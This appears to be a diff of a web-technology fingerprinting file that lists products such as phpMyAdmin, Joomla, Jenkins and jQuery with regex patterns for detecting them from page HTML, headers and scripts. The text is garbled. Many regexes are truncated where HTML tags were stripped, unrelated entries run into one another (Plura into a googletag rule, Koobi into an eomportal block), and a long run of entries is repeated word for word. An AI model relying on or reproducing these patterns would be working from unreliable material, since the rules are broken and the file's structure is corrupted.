]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "", - "env": "^googletag$" - }, - "Google Wallet": { - "website": "wallet.google.com", - "cats": [ 41 ], - "script": [ "checkout\\.google\\.com", "wallet\\.google\\.com" ] - }, - "Google Web Toolkit": { - "website": "developers.google.com/web-toolkit", - "cats": [ 18 ], - "env": "^__gwt_", - "meta": { "gwt:property": "" }, - "implies": "Java" - }, - "GoStats": { - "website": "gostats.com", - "cats": [ 10 ], - "env": "^_go(?:stats|_track)" - }, - "Graffiti CMS": { - "website": "graffiticms.codeplex.com", - "cats": [ 1 ], - "meta": { "generator": "Graffiti CMS ([^\"]+)\\;version:\\1" }, - "script": "/graffiti\\.js", - "headers": { "Set-Cookie": "graffitibot[^;]=" } - }, - "Grandstream": { - "website": "www.grandstream.com", - "cats": [ 22, 39 ], - "headers": { "Server": "Grandstream\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Gravatar": { - "website": "gravatar.com", - "cats": [ 19 ], - "html": "gravatar\\.com/avatar/", - "env": "^Gravatar$" - }, - "Gravity Insights": { - "website": "insights.gravity.com", - "cats": [ 10 ], - "env": "^GravityInsights$" - }, - "Green Valley CMS": { - "website": "www.greenvalley.nl/Public/Producten/Content_Management/CMS", - "cats": [ 1 ], - "meta": { "DC.identifier": "/content\\.jsp\\?objectid=" }, - "html": "]+/dsresource\\?objectid=" - }, - "gunicorn": { - "website": "gunicorn.org", - "cats": [ 22 ], - "headers": { "Server": "gunicorn(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Python" ] - }, - "G-WAN": { - "website": "gwan.com", - "cats": [ 22 ], - "headers": { "Server": "G-WAN" } - }, - "GX WebManager": { - "website": "www.gxsoftware.com/en/products/web-content-management.htm", - "cats": [ 1 ], - "meta": { "generator": "GX WebManager(?: ([\\d.]+))?\\;version:\\1" }, - "html": "" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "Intel Active Management Technology": { - "website": "intel.com", - "cats": [ 22, 46 ], - "headers": { "Server": "Intel\\(R\\) Active Management Technology(?: ([\\d.]+))?\\;version:\\1" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "Invenio": { - "website": "invenio-software.org", - "cats": [ 50 ], - "headers": { "Set-cookie": "INVENIOSESSION" }, - "html": "(?:Powered by|System)\\s+(?:CERN )?(?:CDS )?Invenio\\s*v?([\\d\\.]+)?\\;version:\\1" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "JC-HTTPD": { - "website": "canon.com", - "cats": [ 22 ], - "headers": { "Server": "JC-HTTPD(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Canon" ], - "excludes": "Apache" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jenkins": { - "website": "jenkins-ci.org", - "cats": [ 44 ], - "headers": { "X-Jenkins": "([\\d\\.]+)\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - "JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - }, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft HTTPAPI": { - "website": "microsoft.com", - "cats": [ 22 ], - "headers": { "Server": "Microsoft-HTTPAPI(?:/([\\d.]+))?\\;version:\\1" } - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" }, - "env": "^_spBodyOnLoadCalled$" - }, - "mini_httpd": { - "website": "acme.com/software/mini_httpd", - "cats": [ 22 ], - "headers": { "Server": "mini_httpd(?:/([\\d.]+))?\\;version:\\1" } - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": "" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" }, - "html": "<[^>]+class=\"perc-region\"" - }, - "PerfSONAR-PS": { - "website": "psps.perfsonar.net", - "cats": [ 19 ], - "headers": { "User-agent": "perfSONAR-PS/?([\\d\\.]+)?\\;version:\\1" } - }, - "Perl": { - "website": "perl.org", - "cats": [ 27 ], - "headers": { "Server": "\\bPerl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1" }, - "url": "\\.pl(?:$|\\?)" - }, - "Petrojs": { - "website": "petrojs.thepetronics.com", - "cats": [ 12 ], - "script": [ "petrojs(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "(?:/([\\d.]+)/)?petrojs(?:\\.min)?\\.js\\;version:\\1" ], - "env": "^petrojs$" - }, - "Phaser": { - "website": "phaser.io", - "cats": [ 12 ], - "env": "Phaser" - }, - "PHP": { - "website": "php.net", - "cats": [ 27 ], - "headers": { "Server": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "X-Powered-By": "php/?([\\d.]+)?\\;confidence:40\\;version:\\1", "Set-Cookie": "PHPSESSID" }, - "url": "\\.php(?:$|\\?)" - }, - "phpAlbum": { - "website": "phpalbum.net", - "cats": [ 7 ], - "html": "\\;version:\\1", - "implies": "PHP" - }, - "phpBB": { - "website": "phpbb.com", - "cats": [ 2 ], - "meta": { "copyright": "phpBB Group" }, - "html": "(?:Powered by ]+phpbb|]+phpbb[^>]+class=\\.copyright|\\tphpBB style name|<[^>]+styles/(?:sub|pro)silver/theme|]+i_icon_mini|
]+php-fusion", - "implies": "PHP" - }, - "phpMyAdmin": { - "website": "www.phpmyadmin.net", - "cats": [ 3 ], - "html": "(?: \\| phpMyAdmin ([\\d.]+)<\\/title>|PMA_sendHeaderLocation\\(|]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1", - "env": "^pma_absolute_uri$", - "implies": [ "PHP", "MySQL" ] - }, - "PHP-Nuke": { - "website": "phpnuke.org", - "cats": [ 2 ], - "meta": { "generator": "PHP-Nuke" }, - "html": "<[^>]+Powered by PHP-Nuke", - "implies": "PHP" - }, - "phpPgAdmin": { - "website": "phppgadmin.sourceforge.net", - "cats": [ 3 ], - "html": "(?:phpPgAdmin|phpPgAdmin)", - "implies": "PHP" - }, - "phpSQLiteCMS": { - "website": "phpsqlitecms.net", - "cats": [ 1 ], - "meta": { "generator": "^phpSQLiteCMS(?: (.+))?$\\;version:\\1" }, - "implies": [ "PHP", "SQLite\\;confidence:50" ] - }, - "phpwind": { - "website": "www.phpwind.net", - "cats": [ 1, 2 ], - "meta": { "generator": "^phpwind" }, - "html": "Powered by ]+id=\"xvotes-0", - "env": "^pligg_" - }, - "Plone": { - "website": "plone.org", - "cats": [ 1 ], - "meta": { "generator": "Plone" }, - "implies": "Python" - }, - "Plura": { - "website": "www.pluraprocessing.com", - "cats": [ 19 ], - "html": "", - "env": "^googletag$" - }, - "Google Wallet": { - "website": "wallet.google.com", - "cats": [ 41 ], - "script": [ "checkout\\.google\\.com", "wallet\\.google\\.com" ] - }, - "Google Web Toolkit": { - "website": "developers.google.com/web-toolkit", - "cats": [ 18 ], - "env": "^__gwt_", - "meta": { "gwt:property": "" }, - "implies": "Java" - }, - "GoStats": { - "website": "gostats.com", - "cats": [ 10 ], - "env": "^_go(?:stats|_track)" - }, - "Graffiti CMS": { - "website": "graffiticms.codeplex.com", - "cats": [ 1 ], - "meta": { "generator": "Graffiti CMS ([^\"]+)\\;version:\\1" }, - "script": "/graffiti\\.js", - "headers": { "Set-Cookie": "graffitibot[^;]=" } - }, - "Grandstream": { - "website": "www.grandstream.com", - "cats": [ 22, 39 ], - "headers": { "Server": "Grandstream\\/?([\\d\\.]+)?\\;version:\\1" } - }, - "Gravatar": { - "website": "gravatar.com", - "cats": [ 19 ], - "html": "gravatar\\.com/avatar/", - "env": "^Gravatar$" - }, - "Gravity Insights": { - "website": "insights.gravity.com", - "cats": [ 10 ], - "env": "^GravityInsights$" - }, - "Green Valley CMS": { - "website": "www.greenvalley.nl/Public/Producten/Content_Management/CMS", - "cats": [ 1 ], - "meta": { "DC.identifier": "/content\\.jsp\\?objectid=" }, - "html": "]+/dsresource\\?objectid=" - }, - "gunicorn": { - "website": "gunicorn.org", - "cats": [ 22 ], - "headers": { "Server": "gunicorn(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Python" ] - }, - "G-WAN": { - "website": "gwan.com", - "cats": [ 22 ], - "headers": { "Server": "G-WAN" } - }, - "GX WebManager": { - "website": "www.gxsoftware.com/en/products/web-content-management.htm", - "cats": [ 1 ], - "meta": { "generator": "GX WebManager(?: ([\\d.]+))?\\;version:\\1" }, - "html": "" - }, - "InstantCMS": { - "website": "www.instantcms.ru", - "cats": [ 1 ], - "meta": { "generator": "InstantCMS" }, - "headers": { "Set-Cookie": "InstantCMS\\[logdate\\]=" } - }, - "Intel Active Management Technology": { - "website": "intel.com", - "cats": [ 22, 46 ], - "headers": { "Server": "Intel\\(R\\) Active Management Technology(?: ([\\d.]+))?\\;version:\\1" } - }, - "IntenseDebate": { - "website": "intensedebate.com", - "cats": [ 15 ], - "script": "intensedebate\\.com" - }, - "Intercom": { - "website": "intercom.io", - "cats": [ 10 ], - "script": "(?:api\\.intercom\\.io/api|static\\.intercomcdn\\.com/intercom\\.v1)", - "env": "^Intercom$" - }, - "Intershop": { - "website": "intershop.com", - "cats": [ 6 ], - "script": "(?:is-bin|INTERSHOP)" - }, - "Invenio": { - "website": "invenio-software.org", - "cats": [ 50 ], - "headers": { "Set-cookie": "INVENIOSESSION" }, - "html": "(?:Powered by|System)\\s+(?:CERN )?(?:CDS )?Invenio\\s*v?([\\d\\.]+)?\\;version:\\1" - }, - "io4 CMS": { - "website": "notenbomer.nl/Producten/Content_management/io4_|_cms", - "cats": [ 1 ], - "meta": { "generator": "io4 cms", "generator": "GO[ |]+CMS Enterprise" } - }, - "Ionicons": { - "website": "ionicons.com", - "cats": [ 17 ], - "html": "]* href=[^>]+ionicons(?:\\.min)?\\.css" - }, - "IPB": { - "website": "www.invisionpower.com", - "cats": [ 2 ], - "script": "jscripts/ips_", - "env": "^(?:IPBoard$|ipb_var)", - "html": "]+ipb_[^>]+\\.css" - }, - "iWeb": { - "website": "apple.com/ilife/iweb", - "cats": [ 20 ], - "meta": { "generator": "^iWeb( [\\d.]+)?\\;version:\\1" } - }, - "JAlbum": { - "website": "jalbum.net/en", - "cats": [ 7 ], - "meta": { "generator": "JAlbum( [\\d.]+)?\\;version:\\1" }, - "implies": "Java" - }, - "Jalios": { - "website": "www.jalios.com", - "cats": [ 1 ], - "meta": { "generator": "Jalios" } - }, - "Java": { - "website": "java.com", - "cats": [ 27 ], - "headers": { "Set-Cookie": "JSESSIONID" } - }, - "Javascript Infovis Toolkit": { - "website": "thejit.org", - "cats": [ 25 ], - "script": "jit.*\\.js", - "env": "^\\$jit$" - }, - "JavaServer Faces": { - "website": "javaserverfaces.java.net", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSF(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JavaServer Pages": { - "website": "www.oracle.com/technetwork/java/javaee/jsp/index.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "JSP(?:/([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "Java Servlet": { - "website": "www.oracle.com/technetwork/java/index-jsp-135475.html", - "cats": [ 18 ], - "headers": { "X-Powered-By": "Servlet(?:.([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "JBoss Application Server": { - "website": "jboss.org/jbossas.html", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBoss(?:-([\\d.]+))?\\;version:\\1" } - }, - "JBoss Web": { - "website": "jboss.org/jbossweb", - "cats": [ 22 ], - "headers": { "X-Powered-By": "JBossWeb(?:-([\\d.]+))?\\;version:\\1" }, - "implies": "JBoss Application Server", - "excludes": "Apache Tomcat" - }, - "JC-HTTPD": { - "website": "canon.com", - "cats": [ 22 ], - "headers": { "Server": "JC-HTTPD(?:/([\\d.]+))?\\;version:\\1" }, - "implies": [ "Canon" ], - "excludes": "Apache" - }, - "Jekyll": { - "website": "jekyllrb.com", - "cats": [ 1, 11 ], - "meta": { "generator": "Jekyll (v[\\d.]+)?\\;version:\\1" } - }, - "Jenkins": { - "website": "jenkins-ci.org", - "cats": [ 44 ], - "headers": { "X-Jenkins": "([\\d\\.]+)\\;version:\\1" } - }, - "Jetty": { - "website": "www.eclipse.org/jetty", - "cats": [ 22 ], - "headers": { "Server": "Jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1" }, - "implies": "Java" - }, - "Jirafe": { - "website": "jirafe.com", - "cats": [ 10, 32 ], - "script": "/jirafe\\.js", - "env": "^jirafe$" - }, - "Jo": { - "website": "joapp.com", - "cats": [ 26, 12 ], - "env": "^jo(?:Cache|DOM|Event)$" - }, - "JobberBase": { - "website": "jobberbase.com", - "cats": [ 19 ], - "meta": { "generator": "Jobberbase" }, - "env": "^Jobber$" - }, - "Joomla": { - "website": "joomla.org", - "cats": [ 1 ], - "url": "option=com_", - "meta": { "generator": "Joomla!(?: ([\\d.]+))?\\;version:\\1" }, - "html": "(?:]+id=\"wrapper_r\"|<[^>]+(?:feed|components)/com_|]+class=\"pill)\\;confidence:50", - "headers": { "X-Content-Encoded-By": "Joomla! ([\\d.]+)\\;version:\\1" }, - "env": "^(?:jcomments|Joomla)$", - "implies": "PHP" - }, - "jqPlot": { - "website": "www.jqplot.com", - "cats": [ 25 ], - "script": "jqplot.*\\.js", - "implies": "jQuery" - }, - "jQTouch": { - "website": "jqtouch.com", - "cats": [ 26 ], - "script": "jqtouch.*\\.js", - "env": "^jQT$" - }, - "jQuery": { - "website": "jquery.com", - "cats": [ 12 ], - "script": [ "jquery(?:\\-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "/([\\d.]+)/jquery(\\.min)?\\.js\\;version:\\1", "jquery.*\\.js" ], - "env": "^jQuery$" - }, - "jQuery Mobile": { - "website": "jquerymobile.com", - "cats": [ 26 ], - "script": "jquery\\.mobile(?:-([\\d.]+rc\\d))?.*\\.js(?:\\?ver=([\\d.]+))?\\;version:\\1", - "implies": "jQuery" - }, - "jQuery Sparklines": { - "website": "omnipotent.net/jquery.sparkline/", - "cats": [ 25 ], - "script": "jquery\\.sparkline.*\\.js", - "implies": "jQuery" - }, - "jQuery UI": { - "website": "jqueryui.com", - "cats": [ 12 ], - "script": [ "jquery-ui(?:-|\\.)([\\d.]*\\d)[^/]*\\.js\\;version:\\1", "([\\d.]+)/jquery-ui(\\.min)?\\.js\\;version:\\1", "jquery-ui.*\\.js" ], - "implies": "jQuery" - }, - "JS Charts": { - "website": "www.jscharts.com", - "cats": [ 25 ], - "script": "jscharts.*\\.js", - "env": "^JSChart$" - }, - "JTL Shop": { - "website": "www.jtl-software.de/produkte/jtl-shop3", - "cats": [ 6 ], - "html": "(?:]+name=\"JTLSHOP|]*\\s+href=[^>]*styles/kendo\\.common(?:\\.min)?\\.css[^>]*/>", - "implies": "jQuery" - }, - "Kentico CMS": { - "website": "www.kentico.comhome.aspx", - "cats": [ 1 ], - "meta": { "generator": "Kentico CMS ([\\d.R]+ \\(build [\\d.]+\\))\\;version:\\1" }, - "headers": { "Set-Cookie": "CMSPreferredCulture=" } - }, - "KineticJS": { - "website": "kineticjs.com", - "cats": [ 25 ], - "script": "kinetic(?:-v?([\\d.]+))?(?:\\.min)?\\.js\\;version:\\1", - "env": "^Kinetic$" - }, - "KISSmetrics": { - "website": "www.kissmetrics.com", - "cats": [ 10 ], - "env": "^KM_COOKIE_DOMAIN$" - }, - "Knockout.js": { - "website": "knockoutjs.com", - "cats": [ 12 ], - "env": "^ko$" - }, - "Koego": { - "website": "www.koego.com/en", - "cats": [ 10 ], - "script": "tracking\\.koego\\.com/end/ego\\.js", - "env": "^ego_domains$" - }, - "Kohana": { - "website": "kohanaframework.org", - "cats": [ 18 ], - "headers": { "Set-Cookie": "kohanasession", "X-Powered-By": "Kohana Framework ([\\d.]+)\\;version:\\1" }, - "implies": "PHP" - }, - "Kolibri CMS": { - "website": "alias.io", - "cats": [ 1 ], - "meta": { "generator": "Kolibri" }, - "headers": { "X-Powered-By": "Kolibri" } - }, - "Komodo CMS": { - "website": "www.komodocms.com", - "cats": [ 1 ], - "meta": { "generator": "^Komodo CMS" }, - "implies": "PHP" - }, - "Koobi": { - "website": "dream4.de/cms", - "cats": [ 1 ], - "meta": { "generator": "Koobi" }, - "html": "", - "meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" } - }, - "Microsoft ASP.NET": { - "website": "www.asp.net", - "cats": [ 18 ], - "url": "\\.aspx(?:$|\\?)", - "html": "]+name=\"__VIEWSTATE", - "headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" }, - "implies": "IIS\\;confidence:50" - }, - "Microsoft HTTPAPI": { - "website": "microsoft.com", - "cats": [ 22 ], - "headers": { "Server": "Microsoft-HTTPAPI(?:/([\\d.]+))?\\;version:\\1" } - }, - "Microsoft SharePoint": { - "website": "sharepoint.microsoft.com", - "cats": [ 1 ], - "meta": { "generator": "Microsoft SharePoint" }, - "headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" }, - "env": "^_spBodyOnLoadCalled$" - }, - "mini_httpd": { - "website": "acme.com/software/mini_httpd", - "cats": [ 22 ], - "headers": { "Server": "mini_httpd(?:/([\\d.]+))?\\;version:\\1" } - }, - "MiniBB": { - "website": "www.minibb.com", - "cats": [ 2 ], - "html": "]+minibb.+\\s+", - "env": "^_?owa_" - }, - "OneStat": { - "website": "www.onestat.com", - "cats": [ 10 ], - "html": "var p==.+stat\\.onestat\\.com/stat\\.aspx\\?tagver" - }, - "OpenCart": { - "website": "www.opencart.com", - "cats": [ 6 ], - "html": "(?:index\\.php\\?route=[a-z]+/|Powered By ]+OpenCart)", - "implies": "PHP" - }, - "openEngine": { - "website": "openengine.de/html/pages/de/", - "cats": [ 1 ], - "meta": { "openEngine": "" } - }, - "OpenGrok": { - "website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome", - "cats": [ 19 ], - "headers": { "Set-Cookie": "OpenGrok" }, - "meta": { "generator": "OpenGrok(?: v?([\\d.]+))?\\;version:\\1" }, - "implies": "Java" - }, - "OpenGSE": { - "website": "code.google.com/p/opengse", - "cats": [ 22 ], - "headers": { "Server": "GSE" }, - "implies": "Java" - }, - "OpenLayers": { - "website": "openlayers.org", - "cats": [ 35 ], - "script": "openlayers", - "env": "^OpenLayers$" - }, - "OpenNemas": { - "website": "www.opennemas.com", - "cats": [ 1 ], - "meta": { "generator": "OpenNemas" }, - "headers": { "X-Powered-By": "OpenNemas" } - }, - "OpenSSL": { - "website": "openssl.org", - "cats": [ 33 ], - "headers": { "Server": "OpenSSL(?:/([\\d.]+[a-z]?))?\\;version:\\1" } - }, - "OpenText Web Solutions": { - "website": "websolutions.opentext.com", - "cats": [ 1 ], - "html": "\\s*<\\/div>", - "url": "/web/viewer\\.html?file=[^&]\\.pdf", - "env": "^PDFJS$" - }, - "PencilBlue": { - "website": "pencilblue.org", - "cats": [ 1, 11 ], - "headers": { "X-Powered-By": "PencilBlue" } - }, - "Percussion": { - "website": "percussion.com", - "cats": [ 1 ], - "meta": { "generator": "(?:Percussion|Rhythmyx)" 